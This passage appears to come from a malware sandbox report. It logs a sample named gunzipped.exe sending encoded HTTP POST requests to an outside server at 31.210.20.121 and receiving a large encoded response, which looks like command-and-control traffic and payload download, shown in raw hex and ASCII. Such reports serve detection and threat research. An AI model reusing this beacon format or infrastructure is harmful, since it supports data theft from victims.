Apr 23, 2021 11:07:51.827795029 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.827819109 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.827842951 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.827863932 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.827867031 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.827893019 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.827894926 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.827918053 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.827920914 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.827944040 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.827948093 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.827970982 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.827985048 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828006983 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828032017 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828043938 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828059912 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828079939 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828084946 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828109026 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828119040 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828125000 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828134060 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828159094 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828181028 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828185081 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828207016 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828207016 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828233004 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828238010 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828258991 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828260899 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828286886 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828298092 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828310966 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828335047 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828336000 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828361034 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828366041 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828386068 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828406096 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828411102 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828432083 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828435898 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828463078 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828464031 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828489065 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828490019 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828516960 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828521013 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828541994 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828551054 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.828556061 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.828597069 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.875838041 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.875871897 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.875895977 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.875917912 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.875941038 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.875956059 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.875966072 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.875994921 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876019001 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876027107 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876043081 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876065969 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876089096 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876107931 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876110077 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876120090 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876133919 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876152992 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876156092 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876183033 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876202106 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876210928 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876216888 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876226902 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876250029 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876250982 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876266003 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876272917 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876298904 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876307011 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876323938 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876334906 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876348019 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876368999 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876370907 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876394987 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876394987 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876416922 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876419067 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876441956 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876441956 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876466990 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876466990 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876487970 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876493931 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.876516104 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.876535892 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.881473064 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881501913 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881524086 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881545067 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881552935 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.881567955 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881588936 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.881594896 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881617069 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.881618977 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881640911 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881650925 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.881666899 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881688118 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.881690979 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881716013 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881722927 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.881738901 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881747961 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.881774902 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881783962 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.881814957 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.881838083 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881859064 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:51.881880045 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:51.881911993 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:52.140772104 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:54.149943113 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:54.150019884 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:59.961577892 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:59.963823080 CEST	49716	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:08:00.010795116 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:08:00.014998913 CEST	80	49716	31.210.20.121	192.168.2.5
Apr 23, 2021 11:08:00.015122890 CEST	49716	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:08:00.015564919 CEST	49716	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:08:00.015662909 CEST	49716	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:08:00.064683914 CEST	80	49716	31.210.20.121	192.168.2.5
Apr 23, 2021 11:08:00.064774990 CEST	49716	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:08:00.065035105 CEST	80	49716	31.210.20.121	192.168.2.5
Apr 23, 2021 11:08:00.116446018 CEST	80	49716	31.210.20.121	192.168.2.5
Apr 23, 2021 11:08:00.161204100 CEST	80	49716	31.210.20.121	192.168.2.5
Apr 23, 2021 11:08:00.161312103 CEST	49716	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:08:03.354553938 CEST	49716	80	192.168.2.5	31.210.20.121

HTTP Request Dependency Graph

31.210.20.121

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49703	31.210.20.121	80	C:\Users\user\Desktop\gunzipped.exe

Timestamp	kBytes transferred	Direction	Data
Apr 23, 2021 11:07:48.159631014 CEST	438	OUT	POST /index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: 31.210.20.121 Content-Length: 105 Cache-Control: no-cache Data Raw: 4a 4f ed 3e 32 ed 3e 3c 89 28 39 fe 49 2f fb 38 2f fa 49 4c ed 3e 33 ed 3e 3e ed 3e 3b ed 3e 3e ed 3e 33 ed 3e 3a ed 3e 3d ed 3f 4e 89 28 39 ff 28 39 fd 28 39 fe 28 39 fe 4b 2f fb 3d 4c ed 3f 4e 8a 48 2f fb 38 2f fb 3a 4e ed 3e 3a ed 3e 3e ed 3e 3c ed 3f 4e 8a 28 39 fd 28 39 fc 49 2f fb 3a 48 ed 3e 32 ed 3e 3b 8e Data Ascii: JO>2><(9I/8/IL>3>>>;>>>3>:>=?N(9(9(9(9K/=L?NH/8/:N>:>>><?N(9(9I/:H>2>;
Apr 23, 2021 11:07:48.622102976 CEST	447	IN	HTTP/1.1 200 OK Date: Fri, 23 Apr 2021 09:07:48 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 X-Powered-By: PHP/7.3.27 Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 34 34 32 61 39 0d 0a ef bb bf 31 69 f6 41 59 bb 79 46 9b 3d 7e 84 5e 3a bc 41 5b f8 46 59 99 66 3e 86 4e 3e b0 43 73 fc 3c 47 a1 39 70 87 66 66 9d 49 5b a7 30 36 e7 6e 34 f4 63 34 61 18 53 e4 a8 1c d5 7b ab c3 10 68 6f 1a 5f e4 a6 00 96 7f ad c1 58 26 6c 59 17 f8 e8 5f d6 68 ae c1 07 46 5a f8 3a ca c5 6f f8 08 c2 ad 3d f4 ff 68 3a 71 c5 6f f8 0c c2 ad 3d 4b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d b3 00 68 3a c7 da d5 f6 0c 76 a4 f0 2a b8 69 76 04 e4 3b 90 65 b1 8d 4d 79 6f 0f 48 a8 a8 4f 9b 6d ac c3 52 7f 20 0a 5f e9 b7 1a 96 2c ab c3 1d 4f 4f 3b 1a a4 aa 0b 9d 22 cf a0 37 2f 00 68 3a c9 c5 6f f8 d7 af a6 fc 94 0c 0d a8 56 c9 0a 6a 93 ce c8 af e7 6e 0d a9 57 c9 0a 6a e0 ac cc ae 96 0c 0d a8 25 ab f5 6a 92 ce c8 af e7 6e 0f a9 57 c9 0a 6a 5e ab ce 55 94 0c 0d a8 99 80 6f f8 40 c3 af 3d 8a ba 4a 96 c9 c5 6f f8 0c c2 ad 3d eb 00 6a 1b c2 c4 61 f2 0c c4 ad 3d 0b 04 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 10 68 3a c9 e5 6f f8 0c c2 ad 2d 0b 10 68 3a c9 c7 6f f8 06 c2 ad 3d 01 00 68 3a c3 c5 6f f8 0c c2 ad 3d 0b 30 68 3a c9 c7 6f f8 00 88 ad 3d 08 00 28 3f c9 c5 6b f8 0c d2 ad 3d 0b 00 78 3a c9 d5 6f f8 0c c2 ad 3d 1b 00 68 3a c9 d4 6f f8 27 c1 ad 3d 0b 00 68 3a c9 c5 6f f8 0c e2 ad 3d fb 03 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 0c 68 3a f1 f8 6f f8 0c c2 ad 3d 0b 00 68 3a c9 d5 6f f8 58 c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 25 74 0d 42 bd c5 6f f8 27 c6 ad 3d 0b 10 68 3a c9 c3 6f f8 0c c0 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 2b 00 68 5a e7 b7 1c 8a 6f c2 ad 3d fb 03 68 3a c9 e5 6f f8 0c c6 ad 3d 0b 08 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a 89 c5 6f b8 0c c2 ad 3d 8a ba 4a 96 c9 c5 6f f8 0e c2 ad 3d 30 00 68 3a 9d d5 6f f8 58 c0 ad 3d 0b 00 68 3a 48 7f 4d 54 0c c2 ad 3d 06 00 68 3a ad c5 6f f8 9c d2 ad 3d 9b 02 68 3a c9 c5 6f f8 8d 78 8f 91 0b 00 68 3a d9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 5e 91 e9 6e 46 42 ad f9 1b 65 5a f5 4b 7b 95 ab 2c a3 0c cf c8 c5 6f f8 6d b2 c4 10 66 73 45 4d a0 ab 42 9b 63 b0 c8 10 68 6f 06 49 a6 a9 0a d5 60 f3 80 0c 26 30 46 4a ad a7 6f f8 0c c2 ad 3d 0b 10 68 3a 9d c5 6f f8 22 b0 c9 5c 7f 61 68 3a 9d d5 6f f8 a0 c2 ad 3d 25 72 0c 5b bd a4 4b 82 76 b8 c9 5f 6c 00 68 3a c9 d4 6f f8 27 c1 ad 3d 25 65 0c 5b bd a4 6f f8 0c e2 ad 3d 6b 00 68 3a e7 b7 1c 8a 6f e6 9d 0c 0b 00 68 3a a9 e5 6f f8 9c c1 ad 3d 25 72 1b 48 aa e1 5f ca 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a 48 7f 4d 54 0c c2 ad 3d bf 11 68 3a c8 c5 6f f8 02 c2 ad 3d 05 00 68 3a e1 d4 6f f8 6c d3 ad 3d 93 11 68 3a 2d d4 6f f8 0b d0 ad 3d 27 12 68 3a 9e d7 6f f8 9d d0 ad 3d c1 12 68 3a 3b d7 6f f8 16 d1 ad 3d 4c 13 68 3a a6 d6 6f f8 97 d1 ad 3d c2 13 68 3a 26 d6 6f f8 18 d6 ad 3d dc 11 68 3a 33 d4 6f f8 11 d0 ad 3d 4f 12 68 3a ba d7 6f f8 b4 d0 ad 3d ee 12 68 3a c1 d6 6f f8 39 d1 ad 3d 69 13 68 3a 4c d6 6f f8 b6 d1 ad 3d ea 13 68 3a cf d1 6f f8 0c c2 ac 3d 09 00 6b 3a cd c5 6a f8 0a c2 aa 3d 03 00 61 3a c3 c5 64 f8 00 c2 a0 3d 6a 70 01 17 a4 b6 42 8f 65 ac 80 5e 64 72 0d 17 aa aa 01 8b 63 ae c8 10 67 31 45 0b e4 f5 41 9c 60 ae ad 7c 67 6c 07 59 8a aa 01 8b 63 ae c8 3d 60 65 1a 54 ac a9 5c ca 22 83 c1 51 64 63 2b 55 a7 b6 00 94 69 c2 ea 58 7f 43 07 54 ba aa 03 9d 4f 92 ad 56 6e 72 06 Data Ascii: 4442a91iAYyF=~^:A[FYf>N>Cs<G9pffI[06n4c4aS{ho_X&lY_hFZ:o=h:qo=Kh:o=h:o=h:o=h:v*iv;eMyoHOmR _,OO;"7/h:oVjnWj%jnWj^Uo@=Jo=ja=h:o=h:o-h:o=h:o=0h:o=(?k=x:o=h:o'=h:o=h:o=h:o=h:oX=h:o=h:o=h:o=h:o=h:o=h:o=%tBo'=h:o=h:o=+hZo=h:o=h:o=h:o=Jo=0h:oX=h:HMT=h:o=h:oxh:o=h:o^nFBeZK{,omfsEMBchoI`&0FJo=h:o"\ah:o=%r[Kv_lh:o'=%e[o=kh:oh:o=%rH_=h:o=h:HMT=h:o=h:ol=h:-o='h:o=h:;o=Lh:o=h:&o=h:3o=Oh:o=h:o9=ih:Lo=h:o=k:j=a:d=jpBe^drcg1EA`\|glYc=`eT\"Qdc+UiXCTOVnr
Apr 23, 2021 11:07:48.622137070 CEST	448	IN	Data Raw: 5f a5 f6 5d d6 4b a7 d9 7e 64 6e 1b 55 a5 a0 2c a8 0c 85 c8 49 48 6f 06 49 a6 a9 0a b5 63 a6 c8 3d 60 65 1a 54 ac a9 5c ca 22 85 c8 49 48 6f 06 49 a6 a9 0a b5 63 a6 c8 3d 4c 65 1c 79 a6 ab 1c 97 60 a7 e2 48 7f 70 1d 4e 8a 95 6f 93 69 b0 c3 58 67 Data Ascii: _]K~dnU,IHoIc=`eT\"IHoIc=Ley`HpNoiXg3ZcRge'OOznt&OCResVyKnnIb9./_nrmCTEHE_\VHoIbIJ_?mney`S{u{hSxo_~Q82Fh
Apr 23, 2021 11:07:48.622164011 CEST	449	IN	Data Raw: c2 bd 3d 0a 00 2e 3a a0 c5 03 f8 69 c2 e9 3d 6e 00 1b 3a aa c5 1d f8 65 c2 dd 3d 7f 00 01 3a a6 c5 01 f8 0c c2 ad 3d 4a 00 18 3a a0 c5 3c f8 69 c2 d9 3d 2b 00 3b 3a bd c5 1a f8 6e c2 8d 3d 4f 00 24 3a 85 c5 6f f8 66 c2 88 3d 0a 00 2e 3a a0 c5 03 Data Ascii: =.:i=n:e=:=J:<i=+;:n=O$:of=.:i=n:c=h:_"=%Y:]5=%Y:O$=b:e=oF:Y<=;Y:_4=;A:o:=!:i=e:!m=nh:e=n:y=h:IA=
Apr 23, 2021 11:07:48.622185946 CEST	451	IN	Data Raw: 30 fd 2c a2 1b 06 f3 20 f3 1f b0 e9 8f 5a f1 f6 b1 8c 0a fc 90 06 b0 72 75 2c ba 89 6c 77 8e fa 2b a9 16 c7 96 1a 80 7e e8 d7 d6 10 5c d5 0d 9f 53 da b3 4e d6 44 12 99 75 43 d6 36 c0 47 85 d2 1f 55 a9 4d 76 0b 31 01 3f 21 e2 70 df 6d ac 24 94 85 Data Ascii: 0, Zru,lw+~\SNDuC6GUMv1?!pm$Qo8!j*\|fSe>_@STL7MI&6_%Ft<_z ='y'^_:fpX,IL{{z2K'rnXn
Apr 23, 2021 11:07:48.673510075 CEST	453	IN	Data Raw: c0 ae 3c 0b 01 cb b8 c8 a5 5f 7a 0d 9e 9d 2e 0d 03 3d 27 ec c1 63 c8 06 c4 a5 16 0d 01 6d 3f ce c6 6c c8 11 c4 ae 68 16 0e 6c 2c cd d1 e1 10 61 cd dc 7e e5 d9 57 7e 60 ad 4b ad f8 27 67 5d 25 37 58 6b cf c6 3a e5 1d c6 e7 0d 43 a4 2e 0a 8d f4 63 Data Ascii: <_z.='cm?lhl,a~W~`K'g]%7Xk:C.ch{9,8;Ul?]5 1XjXo0EYmY&dQV5n0w<r++!L<.[,\|#bk=' AB/\|hrc[.UeOg/Hxp
Apr 23, 2021 11:07:48.673536062 CEST	454	IN	Data Raw: a2 a9 fe c7 c9 63 64 91 81 d3 2d 58 23 cf cc 44 fe 0d c6 ac bf 3c 14 6a 3e c5 db 65 f8 5f c2 d8 3d 69 00 2b 3a 88 f5 70 fe 0f 97 b0 1e 0f 18 58 2c 49 d1 61 54 8e a2 ed 6b 2c 97 8d 1f da 39 45 19 06 91 38 64 ef a4 58 6a cf c6 3a e5 13 c6 e4 0d 4c Data Ascii: cd-X#D<j>e_=i+:pX,IaTk,9E8dXj:L0-e.~3I{:GaOds\aVb/Hc^sGWIyoN"Q;Tn2n<HX\|i'8X8Ox$wM~RmtFY@g^nrI~Rmt:U,~^ytX7
Apr 23, 2021 11:07:48.673552036 CEST	455	IN	Data Raw: c3 63 1f 40 54 97 c3 cc 06 ad d8 07 c0 ae 3c 0b 01 cb b8 c8 6e 5f 7a 0d 65 9d 32 0d 03 3d 27 da c4 6e 07 08 c7 9d 3e 0a 01 97 0a d4 c3 6c ad 11 cc a9 2b 0f 14 4b 0e 31 1c 3d be 7c c8 40 7d f0 76 93 89 e2 75 ac cd bf cd 9d 36 0d 03 3d 27 c6 c1 6b Data Ascii: c@T<n_ze2='n>l+K1=\|@}vu6='k+ak<j;` (Dxk@>^ JL7X1md\m0y<Q_oq,=*aL $Sc&0C<kThrI^I+CHoX+ANx/-
Apr 23, 2021 11:07:48.673568964 CEST	457	IN	Data Raw: 3a a6 c5 1c f8 63 c2 cb 3d 7f 00 48 3a 9e c5 06 f8 62 c2 c9 3d 64 00 1f 3a ba 64 4d 78 2c aa d9 49 7b 3a 47 15 be b2 18 d6 61 ab ce 4f 64 73 07 5c bd eb 0c 97 61 ed da 54 65 64 07 4d ba f5 62 fe 05 e8 2b 75 8d f7 65 3b c8 c4 6a f8 08 40 ac 3d 83 Data Ascii: :c=H:b=d:dMx,I{:GaOds\aTedMb+ue;j@=?Pd?zc~E/LJ/+k*4~{(w[4P$W$g3>q}gh&d=v\o?>:<p~F~)!I]&UqkQ>B\|eaP)3}x(l
Apr 23, 2021 11:07:48.673584938 CEST	458	IN	Data Raw: e2 ee 52 79 70 07 48 a8 b1 06 97 62 f3 a1 0d 01 06 6b 6f cd ce 7c fb 4d 8d ee 0c 15 30 74 3c ca 90 6b fb 1f d7 e0 54 68 72 07 49 a6 a3 1b d8 4f ad df 4d 64 72 09 4e a0 aa 01 c8 8e c3 8f 0d 06 06 61 10 4f 8d e9 0f 01 c3 ac 3c 0e 00 6b b8 c8 ca 6f Data Ascii: RypHbko\|M0t<kThrIOMdrNaO<ko?i:p6yi]9>Ro1c}Ydk>O Ux_4yWXvu!9Q`G'ea$6rMt,E92N.JNtoWh$5cX&<eVA2
Apr 23, 2021 11:07:48.673600912 CEST	459	IN	Data Raw: 54 ae e5 3f bb 4d e2 9f 0d 3a 30 58 b8 c8 e7 5f f5 0a cb 87 bb 43 86 9f 37 c8 c4 6e fd 0c c1 2f 3c 04 00 58 b8 c8 cf 6d 7a 0d c3 ad d4 05 64 38 43 ae 70 ab 1b f1 cb ad 71 95 94 c4 cd 9f ad 85 bc d4 0d 68 65 44 a9 cd 4c b5 a8 2a 42 df fb 3f 89 af Data Ascii: T?M:0X_C7n/<Xmzd8CpqheDL*B?GMPy_ZC}5.CwOtGk}=:q}jg J{VRP<\ug3"(R?}M\|xX=X]\xke-1E)BG
Apr 23, 2021 11:07:48.673616886 CEST	461	IN	Data Raw: f2 d3 0c 00 30 61 3c ca 90 6b fe 1f c0 f8 6e 3a 13 58 2b cf c6 3a fc 04 d1 a7 6a 6a 73 00 53 a7 a2 1b 97 62 f3 bd 0d 05 06 6b 6f cd c2 7c ff 5e a7 c9 50 64 6e 0c 0b d7 f5 73 fe 0f 97 a9 37 18 15 25 53 aa b7 00 8b 63 a4 d9 1d 48 6f 1a 4a a6 b7 0e Data Ascii: 0a<kn:X+:jjsSbko\|^Pdns7%ScHoJe#0N<kThrIOX+S],\|+2X\|s7=]=NX7~D>i?e;*rO2bi;i&Di3c<kl;Kmbk<

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49716	31.210.20.121	80	C:\Users\user\Desktop\gunzipped.exe

Timestamp	kBytes transferred	Direction	Data
Apr 23, 2021 11:08:00.015564919 CEST	5272	OUT	POST /index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: 31.210.20.121 Content-Length: 11117 Cache-Control: no-cache
Apr 23, 2021 11:08:00.015662909 CEST	5280	OUT	Data Raw: 31 63 a6 6b 65 8c 5b 32 8b 4b 3b f8 3c 27 f8 38 39 89 20 3e fc 34 32 e5 34 32 9e 4c 27 8d 4c 48 fb 3a 3b f1 4c 3a f0 35 5d e5 5b 4c f1 4c 32 8a 3a 4b 8c 20 3a 8e 4c 3a e5 39 32 f1 34 27 8a 39 58 8c 20 4e f0 3d 3a fe 3a 39 f0 49 5b 8b 49 34 8d 28 Data Ascii: 1cke[2K;<'89 >4242L'LH:;L:5][LL2:K :L:924'9X N=::9I[I4(9(9L/;N>??N(9(9(9(9(9(9(9(8L/:/8/;/;L>:(8OO>?>=(9(9(9(8O/8/9N>=(9(9Kv>;>:?O>:Zcie~/=/</=/=Oyo}x~ou/;/9v>8>;
Apr 23, 2021 11:08:00.064774990 CEST	5283	OUT	Data Raw: 2d 38 f8 3c 3c f2 2d 6f bb 7d 6b 39 62 66 e0 3c 3c e6 3d 24 fc 3f 3c fe 23 3b f8 3d 3b e1 00 00 9d 7d 6e a9 79 6f e8 6b 65 ba 2d 47 a1 6e 78 a7 7e 65 ae 79 2a 87 6b 6c a1 6e 6f e8 3f 3a f9 3b 2a e0 46 48 fc 39 3c fc 38 39 f0 24 2a fb 3f 27 8a 64 Data Ascii: -8<<-o}k9bf<<=$?<#;=;}nyoke-Gnx~eyklno?:;FH9<89$?'d~HnyccXzl~-ldibyk~Bldi-8<<%A>;9?5#>8Oc-Od~bd_ikhbx^a}oke-H~chy-8<<%A9>98;#>8Oc-Od~bd_ikhbx@cebl-Ekc
